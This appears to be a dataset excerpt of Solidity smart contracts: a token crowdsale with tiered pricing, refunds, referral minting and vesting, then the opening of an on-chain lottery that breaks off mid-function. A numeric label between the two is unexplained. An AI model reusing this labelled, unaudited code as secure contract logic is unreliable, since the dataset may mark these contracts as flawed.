require(tokens <= tokensAvailable && tokens > 0 && hardCap > tokensSold.add(tokens));
tokensSold = tokensSold.add(tokens);
allocator.allocate(_contributor, tokens);
if (isSoftCapAchieved(0)) {
if (msg.value > 0) {
contributionForwarder.forward.value(address(this).balance)();
}
} else {
if (contributorsWei[_contributor] == 0) {
contributors.push(_contributor);
}
contributorsWei[_contributor] = contributorsWei[_contributor].add(msg.value);
}
crowdsaleAgent.onContribution(_contributor, _wei, tokensExcludingBonus, bonus);
emit Contribution(_contributor, _wei, tokensExcludingBonus, bonus);
}
function internalRefund(address _holder) internal {
updateState();
require(block.timestamp > endDate);
require(!isSoftCapAchieved(0));
require(crowdsaleAgent != address(0));
uint256 value = contributorsWei[_holder];
require(value > 0);
contributorsWei[_holder] = 0;
uint256 burnedTokens = crowdsaleAgent.onRefund(_holder, 0);
_holder.transfer(value);
emit Refund(_holder, value, burnedTokens);
}
function getState() public view returns (State) {
State state = super.getState();
if (state == State.Success) {
if (!isSoftCapAchieved(0)) {
return State.Refunding;
}
}
return state;
}
function isSoftCapAchieved(uint256 _value) public view returns (bool) {
if (softCap <= tokensSold.add(_value)) {
return true;
}
return false;
}
}
contract CHLCrowdsale is RefundableCrowdsale {
uint256 public maxSaleSupply = 38972500e18;
uint256 public usdCollected;
address public processingFeeAddress;
uint256 public percentageAbsMax = 1000;
uint256 public processingFeePercentage = 25;
event ProcessingFeeAllocation(address _contributor, uint256 _feeAmount);
event Contribution(address _contributor, uint256 _usdAmount, uint256 _tokensExcludingBonus, uint256 _bonus);
constructor(
MintableTokenAllocator _allocator,
DistributedDirectContributionForwarder _contributionForwarder,
CHLPricingStrategy _pricingStrategy,
uint256 _startTime,
uint256 _endTime,
address _processingFeeAddress
) public RefundableCrowdsale(
_allocator,
_contributionForwarder,
_pricingStrategy,
_startTime,
_endTime,
true,
true,
false,
10000000e5,
102860625e5
) {
require(_processingFeeAddress != address(0));
processingFeeAddress = _processingFeeAddress;
}
function() public payable {
require(allowWhitelisted || allowAnonymous);
if (!allowAnonymous) {
if (allowWhitelisted) {
require(whitelisted[msg.sender]);
}
}
internalContribution(
msg.sender,
CHLPricingStrategy(pricingStrategy).getUSDAmountByWeis(msg.value)
);
}
function contribute(uint8 _v, bytes32 _r, bytes32 _s) public payable {
address recoveredAddress = verify(msg.sender, _v, _r, _s);
require(signers[recoveredAddress]);
internalContribution(
msg.sender,
CHLPricingStrategy(pricingStrategy).getUSDAmountByWeis(msg.value)
);
}
function externalContribution(address _contributor, uint256 _usdAmount) public payable {
require(externalContributionAgents[msg.sender]);
internalContribution(_contributor, _usdAmount);
}
function updateState() public {
(startDate, endDate) = CHLPricingStrategy(pricingStrategy).getActualDates();
super.updateState();
}
function isHardCapAchieved(uint256 _value) public view returns (bool) {
if (hardCap <= usdCollected.add(_value)) {
return true;
}
return false;
}
function isSoftCapAchieved(uint256 _value) public view returns (bool) {
if (softCap <= usdCollected.add(_value)) {
return true;
}
return false;
}
function getUnsoldTokensAmount() public view returns (uint256) {
return maxSaleSupply.sub(tokensSold);
}
function updateStatsVars(uint256 _usdAmount, uint256 _tokensAmount) public {
require(msg.sender == address(crowdsaleAgent) && _tokensAmount > 0);
tokensSold = tokensSold.add(_tokensAmount);
usdCollected = usdCollected.add(_usdAmount);
}
function internalContribution(address _contributor, uint256 _usdAmount) internal {
updateState();
require(currentState == State.InCrowdsale);
CHLPricingStrategy pricing = CHLPricingStrategy(pricingStrategy);
require(!isHardCapAchieved(_usdAmount.sub(1)));
uint256 tokensAvailable = allocator.tokensAvailable();
uint256 collectedWei = contributionForwarder.weiCollected();
uint256 tierIndex = pricing.getTierIndex();
uint256 tokens;
uint256 tokensExcludingBonus;
uint256 bonus;
(tokens, tokensExcludingBonus, bonus) = pricing.getTokens(
_contributor, tokensAvailable, tokensSold, _usdAmount, collectedWei);
require(tokens > 0);
tokensSold = tokensSold.add(tokens);
allocator.allocate(_contributor, tokens);
uint256 processingFeeAmount = tokens.mul(processingFeePercentage).div(percentageAbsMax);
allocator.allocate(processingFeeAddress, processingFeeAmount);
if (isSoftCapAchieved(_usdAmount)) {
if (msg.value > 0) {
contributionForwarder.forward.value(address(this).balance)();
}
} else {
if (contributorsWei[_contributor] == 0) {
contributors.push(_contributor);
}
if (msg.value > 0) {
contributorsWei[_contributor] = contributorsWei[_contributor].add(msg.value);
}
}
usdCollected = usdCollected.add(_usdAmount);
crowdsaleAgent.onContribution(_contributor, tierIndex, tokensExcludingBonus, bonus);
emit Contribution(_contributor, _usdAmount, tokensExcludingBonus, bonus);
emit ProcessingFeeAllocation(_contributor, processingFeeAmount);
}
}
contract USDExchange is Ownable {
using SafeMath for uint256;
uint256 public etherPriceInUSD;
uint256 public priceUpdateAt;
mapping(address => bool) public trustedAddresses;
event NewPriceTicker(string _price);
modifier onlyTursted() {
require(trustedAddresses[msg.sender] == true);
_;
}
constructor(uint256 _etherPriceInUSD) public {
etherPriceInUSD = _etherPriceInUSD;
priceUpdateAt = block.timestamp;
trustedAddresses[msg.sender] = true;
}
function setTrustedAddress(address _address, bool _status) public onlyOwner {
trustedAddresses[_address] = _status;
}
function setEtherInUSD(string _price) public onlyTursted {
bytes memory bytePrice = bytes(_price);
uint256 dot = bytePrice.length.sub(uint256(6));
require(0x2e == uint(bytePrice[dot]));
uint256 newPrice = uint256(10 ** 23).div(parseInt(_price, 5));
require(newPrice > 0);
etherPriceInUSD = parseInt(_price, 5);
priceUpdateAt = block.timestamp;
emit NewPriceTicker(_price);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint res = 0;
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
if ((bresult[i] >= 48) && (bresult[i] <= 57)) {
if (decimals) {
if (_b == 0) break;
else _b--;
}
res *= 10;
res += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) res *= 10 ** _b;
return res;
}
}
contract PricingStrategy {
function isInitialized() public view returns (bool);
function getTokens(
address _contributor,
uint256 _tokensAvailable,
uint256 _tokensSold,
uint256 _weiAmount,
uint256 _collectedWei
)
public
view
returns (uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus);
function getWeis(
uint256 _collectedWei,
uint256 _tokensSold,
uint256 _tokens
)
public
view
returns (uint256 weiAmount, uint256 tokensBonus);
}
contract USDDateTiersPricingStrategy is PricingStrategy, USDExchange {
using SafeMath for uint256;
struct Tier {
uint256 tokenInUSD;
uint256 maxTokensCollected;
uint256 bonusCap;
uint256 soldTierTokens;
uint256 bonusTierTokens;
uint256 bonusPercents;
uint256 minInvestInUSD;
uint256 startDate;
uint256 endDate;
}
Tier[] public tiers;
uint256 public decimals;
constructor(uint256[] _tiers, uint256 _decimals, uint256 _etherPriceInUSD) public USDExchange(_etherPriceInUSD) {
decimals = _decimals;
trustedAddresses[msg.sender] = true;
require(_tiers.length % 9 == 0);
uint256 length = _tiers.length / 9;
for (uint256 i = 0; i < length; i++) {
tiers.push(
Tier(
_tiers[i * 9],
_tiers[i * 9 + 1],
_tiers[i * 9 + 2],
_tiers[i * 9 + 3],
_tiers[i * 9 + 4],
_tiers[i * 9 + 5],
_tiers[i * 9 + 6],
_tiers[i * 9 + 7],
_tiers[i * 9 + 8]
)
);
}
}
function getTierIndex() public view returns (uint256) {
for (uint256 i = 0; i < tiers.length; i++) {
if (
block.timestamp >= tiers[i].startDate &&
block.timestamp < tiers[i].endDate &&
tiers[i].maxTokensCollected > tiers[i].soldTierTokens
) {
return i;
}
}
return tiers.length;
}
function getActualTierIndex() public view returns (uint256) {
for (uint256 i = 0; i < tiers.length; i++) {
if (
block.timestamp >= tiers[i].startDate
&& block.timestamp < tiers[i].endDate
&& tiers[i].maxTokensCollected > tiers[i].soldTierTokens
|| block.timestamp < tiers[i].startDate
) {
return i;
}
}
return tiers.length.sub(1);
}
function getActualDates() public view returns (uint256 startDate, uint256 endDate) {
uint256 tierIndex = getActualTierIndex();
startDate = tiers[tierIndex].startDate;
endDate = tiers[tierIndex].endDate;
}
function getTokens(
address,
uint256 _tokensAvailable,
uint256,
uint256 _usdAmount,
uint256
) public view returns (uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus) {
if (_usdAmount == 0) {
return (0, 0, 0);
}
uint256 tierIndex = getTierIndex();
if (tierIndex < tiers.length && _usdAmount < tiers[tierIndex].minInvestInUSD) {
return (0, 0, 0);
}
if (tierIndex == tiers.length) {
return (0, 0, 0);
}
tokensExcludingBonus = _usdAmount.mul(1e18).div(getTokensInUSD(tierIndex));
if (tiers[tierIndex].maxTokensCollected < tiers[tierIndex].soldTierTokens.add(tokensExcludingBonus)) {
return (0, 0, 0);
}
bonus = calculateBonusAmount(tierIndex, tokensExcludingBonus);
tokens = tokensExcludingBonus.add(bonus);
if (tokens > _tokensAvailable) {
return (0, 0, 0);
}
}
function getUSDAmountByTokens(
uint256 _tokens
) public view returns (uint256 totalUSDAmount, uint256 tokensBonus) {
if (_tokens == 0) {
return (0, 0);
}
uint256 tierIndex = getTierIndex();
if (tierIndex == tiers.length) {
return (0, 0);
}
if (tiers[tierIndex].maxTokensCollected < tiers[tierIndex].soldTierTokens.add(_tokens)) {
return (0, 0);
}
totalUSDAmount = _tokens.mul(getTokensInUSD(tierIndex)).div(1e18);
if (totalUSDAmount < tiers[tierIndex].minInvestInUSD) {
return (0, 0);
}
tokensBonus = calculateBonusAmount(tierIndex, _tokens);
}
function getWeis(
uint256,
uint256,
uint256 _tokens
) public view returns (uint256 totalWeiAmount, uint256 tokensBonus) {
uint256 usdAmount;
(usdAmount, tokensBonus) = getUSDAmountByTokens(_tokens);
if (usdAmount == 0) {
return (0, 0);
}
totalWeiAmount = usdAmount.mul(1e18).div(etherPriceInUSD);
}
function calculateBonusAmount(uint256 _tierIndex, uint256 _tokens) public view returns (uint256 bonus) {
if (tiers[_tierIndex].soldTierTokens < tiers[_tierIndex].bonusCap) {
if (tiers[_tierIndex].soldTierTokens.add(_tokens) <= tiers[_tierIndex].bonusCap) {
bonus = _tokens.mul(tiers[_tierIndex].bonusPercents).div(100);
} else {
bonus = (tiers[_tierIndex].bonusCap.sub(tiers[_tierIndex].soldTierTokens))
.mul(tiers[_tierIndex].bonusPercents).div(100);
}
}
}
function getTokensInUSD(uint256 _tierIndex) public view returns (uint256) {
if (_tierIndex < uint256(tiers.length)) {
return tiers[_tierIndex].tokenInUSD;
}
}
function getMinEtherInvest(uint256 _tierIndex) public view returns (uint256) {
if (_tierIndex < uint256(tiers.length)) {
return tiers[_tierIndex].minInvestInUSD.mul(1 ether).div(etherPriceInUSD);
}
}
function getUSDAmountByWeis(uint256 _weiAmount) public view returns (uint256) {
return _weiAmount.mul(etherPriceInUSD).div(1 ether);
}
function isInitialized() public view returns (bool) {
return true;
}
function updateDates(uint8 _tierId, uint256 _start, uint256 _end) public onlyOwner() {
if (_start != 0 && _start < _end && _tierId < tiers.length) {
Tier storage tier = tiers[_tierId];
tier.startDate = _start;
tier.endDate = _end;
}
}
}
contract CHLPricingStrategy is USDDateTiersPricingStrategy {
CHLAgent public agent;
modifier onlyAgent() {
require(msg.sender == address(agent));
_;
}
event MaxTokensCollectedDecreased(uint256 tierId, uint256 oldValue, uint256 amount);
constructor(
uint256[] _emptyArray,
uint256[4] _periods,
uint256 _etherPriceInUSD
) public USDDateTiersPricingStrategy(_emptyArray, 18, _etherPriceInUSD) {
tiers.push(Tier(0.75e5, 6247500e18, 0, 0, 0, 0, 100e5, _periods[0], _periods[1]));
tiers.push(Tier(3e5, 32725000e18, 0, 0, 0, 0, 100e5, _periods[2], _periods[3]));
}
function getArrayOfTiers() public view returns (uint256[12] tiersData) {
uint256 j = 0;
for (uint256 i = 0; i < tiers.length; i++) {
tiersData[j++] = uint256(tiers[i].tokenInUSD);
tiersData[j++] = uint256(tiers[i].maxTokensCollected);
tiersData[j++] = uint256(tiers[i].soldTierTokens);
tiersData[j++] = uint256(tiers[i].minInvestInUSD);
tiersData[j++] = uint256(tiers[i].startDate);
tiersData[j++] = uint256(tiers[i].endDate);
}
}
function updateTier(
uint256 _tierId,
uint256 _start,
uint256 _end,
uint256 _minInvest,
uint256 _price,
uint256 _bonusCap,
uint256 _bonus,
bool _updateLockNeeded
) public onlyOwner() {
require(
_start != 0 &&
_price != 0 &&
_start < _end &&
_tierId < tiers.length
);
if (_updateLockNeeded) {
agent.updateLockPeriod(_end);
}
Tier storage tier = tiers[_tierId];
tier.tokenInUSD = _price;
tier.minInvestInUSD = _minInvest;
tier.startDate = _start;
tier.endDate = _end;
tier.bonusCap = _bonusCap;
tier.bonusPercents = _bonus;
}
function setCrowdsaleAgent(CHLAgent _crowdsaleAgent) public onlyOwner {
agent = _crowdsaleAgent;
}
function updateTierTokens(uint256 _tierId, uint256 _soldTokens, uint256 _bonusTokens) public onlyAgent {
require(_tierId < tiers.length && _soldTokens > 0);
Tier storage tier = tiers[_tierId];
tier.soldTierTokens = tier.soldTierTokens.add(_soldTokens);
tier.bonusTierTokens = tier.bonusTierTokens.add(_bonusTokens);
}
function updateMaxTokensCollected(uint256 _tierId, uint256 _amount) public onlyAgent {
require(_tierId < tiers.length && _amount > 0);
Tier storage tier = tiers[_tierId];
require(tier.maxTokensCollected.sub(_amount) >= tier.soldTierTokens.add(tier.bonusTierTokens));
emit MaxTokensCollectedDecreased(_tierId, tier.maxTokensCollected, _amount);
tier.maxTokensCollected = tier.maxTokensCollected.sub(_amount);
}
function getTokensWithoutRestrictions(uint256 _usdAmount) public view returns (
uint256 tokens,
uint256 tokensExcludingBonus,
uint256 bonus
) {
if (_usdAmount == 0) {
return (0, 0, 0);
}
uint256 tierIndex = getActualTierIndex();
tokensExcludingBonus = _usdAmount.mul(1e18).div(getTokensInUSD(tierIndex));
bonus = calculateBonusAmount(tierIndex, tokensExcludingBonus);
tokens = tokensExcludingBonus.add(bonus);
}
function getTierUnsoldTokens(uint256 _tierId) public view returns (uint256) {
if (_tierId >= tiers.length) {
return 0;
}
return tiers[_tierId].maxTokensCollected.sub(tiers[_tierId].soldTierTokens);
}
function getSaleEndDate() public view returns (uint256) {
return tiers[tiers.length.sub(1)].endDate;
}
}
contract Referral is Ownable {
using SafeMath for uint256;
MintableTokenAllocator public allocator;
CrowdsaleImpl public crowdsale;
uint256 public constant DECIMALS = 18;
uint256 public totalSupply;
bool public unLimited;
bool public sentOnce;
mapping(address => bool) public claimed;
mapping(address => uint256) public claimedBalances;
constructor(
uint256 _totalSupply,
address _allocator,
address _crowdsale,
bool _sentOnce
) public {
require(_allocator != address(0) && _crowdsale != address(0));
totalSupply = _totalSupply;
if (totalSupply == 0) {
unLimited = true;
}
allocator = MintableTokenAllocator(_allocator);
crowdsale = CrowdsaleImpl(_crowdsale);
sentOnce = _sentOnce;
}
function setAllocator(address _allocator) public onlyOwner {
if (_allocator != address(0)) {
allocator = MintableTokenAllocator(_allocator);
}
}
function setCrowdsale(address _crowdsale) public onlyOwner {
require(_crowdsale != address(0));
crowdsale = CrowdsaleImpl(_crowdsale);
}
function multivestMint(
address _address,
uint256 _amount,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
require(true == crowdsale.signers(verify(msg.sender, _amount, _v, _r, _s)));
if (true == sentOnce) {
require(claimed[_address] == false);
claimed[_address] = true;
}
require(
_address == msg.sender &&
_amount > 0 &&
(true == unLimited || _amount <= totalSupply)
);
claimedBalances[_address] = claimedBalances[_address].add(_amount);
if (false == unLimited) {
totalSupply = totalSupply.sub(_amount);
}
allocator.allocate(_address, _amount);
}
function verify(address _sender, uint256 _amount, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(_sender, _amount));
bytes memory prefix = '\x19Ethereum Signed Message:\n32';
return ecrecover(keccak256(abi.encodePacked(prefix, hash)), _v, _r, _s);
}
}
contract CHLReferral is Referral {
CHLPricingStrategy public pricingStrategy;
constructor(
address _allocator,
address _crowdsale,
CHLPricingStrategy _strategy
) public Referral(1190000e18, _allocator, _crowdsale, true) {
require(_strategy != address(0));
pricingStrategy = _strategy;
}
function multivestMint(
address _address,
uint256 _amount,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
require(pricingStrategy.getSaleEndDate() <= block.timestamp);
super.multivestMint(_address, _amount, _v, _r, _s);
}
}
contract CHLAllocation is Ownable {
using SafeMath for uint256;
MintableTokenAllocator public allocator;
CHLAgent public agent;
uint256 public manualMintingSupply = 5950000e18;
uint256 public foundersVestingAmountPeriodOne = 7140000e18;
uint256 public foundersVestingAmountPeriodTwo = 2975000e18;
uint256 public foundersVestingAmountPeriodThree = 1785000e18;
address[] public vestings;
address public foundersAddress;
bool public isFoundersTokensSent;
event VestingCreated(
address _vesting,
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _periods,
bool _revocable
);
event VestingRevoked(address _vesting);
constructor(MintableTokenAllocator _allocator, address _foundersAddress) public {
require(_foundersAddress != address(0));
foundersAddress = _foundersAddress;
allocator = _allocator;
}
function setAllocator(MintableTokenAllocator _allocator) public onlyOwner {
require(_allocator != address(0));
allocator = _allocator;
}
function setAgent(CHLAgent _agent) public onlyOwner {
require(_agent != address(0));
agent = _agent;
}
function allocateManualMintingTokens(address[] _addresses, uint256[] _tokens) public onlyOwner {
require(_addresses.length == _tokens.length);
for (uint256 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0) && _tokens[i] > 0 && _tokens[i] <= manualMintingSupply);
manualMintingSupply -= _tokens[i];
allocator.allocate(_addresses[i], _tokens[i]);
}
}
function allocatePrivateSaleTokens(
uint256 _tierId,
uint256 _totalTokensSupply,
uint256 _tokenPriceInUsd,
address[] _addresses,
uint256[] _tokens
) public onlyOwner {
require(
_addresses.length == _tokens.length &&
_totalTokensSupply > 0
);
agent.updateStateWithPrivateSale(_tierId, _totalTokensSupply, _totalTokensSupply.mul(_tokenPriceInUsd).div(1e18));
for (uint256 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0) && _tokens[i] > 0 && _tokens[i] <= _totalTokensSupply);
_totalTokensSupply = _totalTokensSupply.sub(_tokens[i]);
allocator.allocate(_addresses[i], _tokens[i]);
}
require(_totalTokensSupply == 0);
}
function allocateFoundersTokens(uint256 _start) public {
require(!isFoundersTokensSent && msg.sender == address(agent));
isFoundersTokensSent = true;
allocator.allocate(foundersAddress, foundersVestingAmountPeriodOne);
createVestingInternal(
foundersAddress,
_start,
0,
365 days,
1,
true,
owner,
foundersVestingAmountPeriodTwo
);
createVestingInternal(
foundersAddress,
_start,
0,
730 days,
1,
true,
owner,
foundersVestingAmountPeriodThree
);
}
function createVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _periods,
bool _revocable,
address _unreleasedHolder,
uint256 _amount
) public onlyOwner returns (PeriodicTokenVesting vesting) {
vesting = createVestingInternal(
_beneficiary,
_start,
_cliff,
_duration,
_periods,
_revocable,
_unreleasedHolder,
_amount
);
}
function revokeVesting(PeriodicTokenVesting _vesting, ERC20Basic token) public onlyOwner() {
_vesting.revoke(token);
emit VestingRevoked(_vesting);
}
function createVestingInternal(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _periods,
bool _revocable,
address _unreleasedHolder,
uint256 _amount
) internal returns (PeriodicTokenVesting) {
PeriodicTokenVesting vesting = new PeriodicTokenVesting(
_beneficiary, _start, _cliff, _duration, _periods, _revocable, _unreleasedHolder
);
vestings.push(vesting);
emit VestingCreated(vesting, _beneficiary, _start, _cliff, _duration, _periods, _revocable);
allocator.allocate(address(vesting), _amount);
return vesting;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract PeriodicTokenVesting is TokenVesting {
address public unreleasedHolder;
uint256 public periods;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _periodDuration,
uint256 _periods,
bool _revocable,
address _unreleasedHolder
) public TokenVesting(_beneficiary, _start, _cliff, _periodDuration, _revocable) {
require(_revocable == false || _unreleasedHolder != address(0));
periods = _periods;
unreleasedHolder = _unreleasedHolder;
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration * periods) || revoked[token]) {
return totalBalance;
} else {
uint256 periodTokens = totalBalance.div(periods);
uint256 periodsOver = now.sub(start).div(duration);
if (periodsOver >= periods) {
return totalBalance;
}
return periodTokens.mul(periodsOver);
}
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(unreleasedHolder, refund);
emit Revoked();
}
}
contract Stats {
using SafeMath for uint256;
MintableToken public token;
MintableTokenAllocator public allocator;
CHLCrowdsale public crowdsale;
CHLPricingStrategy public pricing;
constructor(
MintableToken _token,
MintableTokenAllocator _allocator,
CHLCrowdsale _crowdsale,
CHLPricingStrategy _pricing
) public {
token = _token;
allocator = _allocator;
crowdsale = _crowdsale;
pricing = _pricing;
}
function getTokens(
uint256 _type,
uint256 _usdAmount
) public view returns (uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus) {
_type = _type;
return pricing.getTokensWithoutRestrictions(_usdAmount);
}
function getWeis(
uint256 _type,
uint256 _tokenAmount
) public view returns (uint256 totalWeiAmount, uint256 tokensBonus) {
_type = _type;
return pricing.getWeis(0, 0, _tokenAmount);
}
function getUSDAmount(
uint256 _type,
uint256 _tokenAmount
) public view returns (uint256 totalUSDAmount, uint256 tokensBonus) {
_type = _type;
return pricing.getUSDAmountByTokens(_tokenAmount);
}
function getStats(uint256 _userType, uint256[7] _ethPerCurrency) public view returns (
uint256[8] stats,
uint256[26] tiersData,
uint256[21] currencyContr
) {
stats = getStatsData(_userType);
tiersData = getTiersData(_userType);
currencyContr = getCurrencyContrData(_userType, _ethPerCurrency);
}
function getTiersData(uint256 _type) public view returns (
uint256[26] tiersData
) {
_type = _type;
uint256[12] memory tiers = pricing.getArrayOfTiers();
uint256 length = tiers.length / 6;
uint256 j = 0;
for (uint256 i = 0; i < length; i++) {
tiersData[j++] = uint256(1e23).div(tiers[i.mul(6)]);
tiersData[j++] = 0;
tiersData[j++] = uint256(tiers[i.mul(6).add(1)]);
tiersData[j++] = uint256(tiers[i.mul(6).add(2)]);
tiersData[j++] = 0;
tiersData[j++] = 0;
tiersData[j++] = uint256(tiers[i.mul(6).add(3)]);
tiersData[j++] = 0;
tiersData[j++] = 0;
tiersData[j++] = 0;
tiersData[j++] = uint256(tiers[i.mul(6).add(4)]);
tiersData[j++] = uint256(tiers[i.mul(6).add(5)]);
tiersData[j++] = 1;
}
tiersData[25] = 2;
}
function getStatsData(uint256 _type) public view returns (
uint256[8] stats
) {
_type = _type;
stats[0] = token.maxSupply();
stats[1] = token.totalSupply();
stats[2] = crowdsale.maxSaleSupply();
stats[3] = crowdsale.tokensSold();
stats[4] = uint256(crowdsale.currentState());
stats[5] = pricing.getActualTierIndex();
stats[6] = pricing.getTierUnsoldTokens(stats[5]);
stats[7] = pricing.getMinEtherInvest(stats[5]);
}
function getCurrencyContrData(uint256 _type, uint256[7] _usdPerCurrency) public view returns (
uint256[21] currencyContr
) {
_type = _type;
uint256 j = 0;
for (uint256 i = 0; i < _usdPerCurrency.length; i++) {
(currencyContr[j++], currencyContr[j++], currencyContr[j++]) = pricing.getTokensWithoutRestrictions(
_usdPerCurrency[i]
);
}
}
} | 1 | 4,692 |
pragma solidity ^0.4.24;
contract PlutoCommyLotto {
address public maintenanceFunds;
uint public currentCicle = 0;
uint public numBlocksForceEnd = 5760;
uint public jackpotPossibilities = 5000000;
uint public winnerPct = 20;
uint public commyPct = 80;
uint public lastJackpotResult;
uint private costIncrementNormal = 5;
uint private idealReserve = 60 finney;
uint private minTicketCost = 1 finney / 10;
uint private baseTicketProportion = 30;
uint private maintenanceTickets = 50;
struct Cicle {
mapping (address => uint) ticketsByHash;
address lastPlayer;
uint number;
uint initialBlock;
uint numTickets;
uint currentTicketCost;
uint lastJackpotChance;
uint winnerPot;
uint commyPot;
uint commyReward;
uint lastBetBlock;
bool isActive;
}
mapping (uint => Cicle) public cicles;
modifier onlyInitOnce() {
require(currentCicle == 0);
_;
}
modifier onlyLastPlayer(uint cicleNumber) {
require(msg.sender == cicles[cicleNumber].lastPlayer);
_;
}
modifier onlyIfNoActivity(uint cicleNumber) {
require(block.number - cicles[cicleNumber].lastBetBlock > numBlocksForceEnd);
_;
}
modifier onlyActiveCicle(uint cicleNumber) {
require(cicles[cicleNumber].isActive == true);
_;
}
modifier onlyInactiveCicle(uint cicleNumber) {
require(cicles[cicleNumber].isActive == false);
_;
}
modifier onlyWithTickets(uint cicleNumber) {
require(cicles[cicleNumber].ticketsByHash[msg.sender] > 0);
_;
}
modifier onlyValidCicle(uint cicleNumber) {
require(cicleNumber <= currentCicle);
_;
}
function init() public payable onlyInitOnce() {
maintenanceFunds = msg.sender;
createNewCicle();
idealReserve = msg.value;
uint winnerVal = msg.value * winnerPct / 100;
cicles[currentCicle].winnerPot += winnerVal;
cicles[currentCicle].commyPot += msg.value - winnerVal;
cicles[currentCicle].currentTicketCost = ((cicles[currentCicle].winnerPot + cicles[currentCicle].commyPot) / baseTicketProportion);
setCommyReward(currentCicle);
}
event NewCicle(uint indexed cicleNumber, uint firstBlock);
function createNewCicle() private {
currentCicle += 1;
cicles[currentCicle] = Cicle({ number:currentCicle,
initialBlock:block.number,
numTickets:maintenanceTickets,
lastPlayer:maintenanceFunds,
lastJackpotChance:0,
lastBetBlock:block.number,
winnerPot:0,
commyPot:0,
commyReward:0,
currentTicketCost:0,
isActive:false });
cicles[currentCicle].ticketsByHash[maintenanceFunds] = maintenanceTickets;
if(currentCicle != 1) {
cicles[currentCicle-1].ticketsByHash[maintenanceFunds] = 0;
if (cicles[currentCicle-1].commyReward * maintenanceTickets > idealReserve) {
cicles[currentCicle].winnerPot = idealReserve * winnerPct / 100;
cicles[currentCicle].commyPot = idealReserve * commyPct / 100;
maintenanceFunds.transfer(cicles[currentCicle-1].commyReward * maintenanceTickets - idealReserve);
} else {
if(cicles[currentCicle-1].numTickets == maintenanceTickets) {
cicles[currentCicle].winnerPot = cicles[currentCicle-1].winnerPot;
cicles[currentCicle].commyPot = cicles[currentCicle-1].commyPot;
} else {
cicles[currentCicle].winnerPot = (cicles[currentCicle-1].commyReward * maintenanceTickets) * winnerPct / 100;
cicles[currentCicle].commyPot = (cicles[currentCicle-1].commyReward * maintenanceTickets) * commyPct / 100;
}
}
setCommyReward(currentCicle);
cicles[currentCicle].currentTicketCost = (cicles[currentCicle].winnerPot + cicles[currentCicle].commyPot) / baseTicketProportion;
if(cicles[currentCicle].currentTicketCost < minTicketCost) {
cicles[currentCicle].currentTicketCost = minTicketCost;
}
}
cicles[currentCicle].isActive = true;
emit NewCicle(currentCicle, block.number);
}
function setCommyReward(uint cicleNumber) private {
cicles[cicleNumber].commyReward = cicles[cicleNumber].commyPot / (cicles[cicleNumber].numTickets-1);
}
event NewBet(uint indexed cicleNumber, address indexed player, uint instantPrize, uint jackpotChance, uint jackpotResult, bool indexed hasHitJackpot);
function bet() public payable {
require (msg.value >= cicles[currentCicle].currentTicketCost);
cicles[currentCicle].lastBetBlock = block.number;
cicles[currentCicle].ticketsByHash[msg.sender] += 1;
uint commyVal = cicles[currentCicle].currentTicketCost * commyPct / 100;
cicles[currentCicle].winnerPot += msg.value - commyVal;
cicles[currentCicle].commyPot += commyVal;
cicles[currentCicle].numTickets += 1;
cicles[currentCicle].currentTicketCost += cicles[currentCicle].currentTicketCost * costIncrementNormal / 1000;
cicles[currentCicle].lastJackpotChance = block.number - cicles[currentCicle].initialBlock;
cicles[currentCicle].lastPlayer = msg.sender;
setCommyReward(currentCicle);
if(getJackpotResult(currentCicle) == true)
{
emit NewBet(currentCicle, cicles[currentCicle].lastPlayer, cicles[currentCicle].winnerPot, cicles[currentCicle].lastJackpotChance, lastJackpotResult, true);
endCicle(currentCicle, true);
} else {
emit NewBet(currentCicle, msg.sender, 0, cicles[currentCicle].lastJackpotChance, lastJackpotResult, false);
}
}
function getJackpotResult(uint cicleNumber) private returns (bool isWinner) {
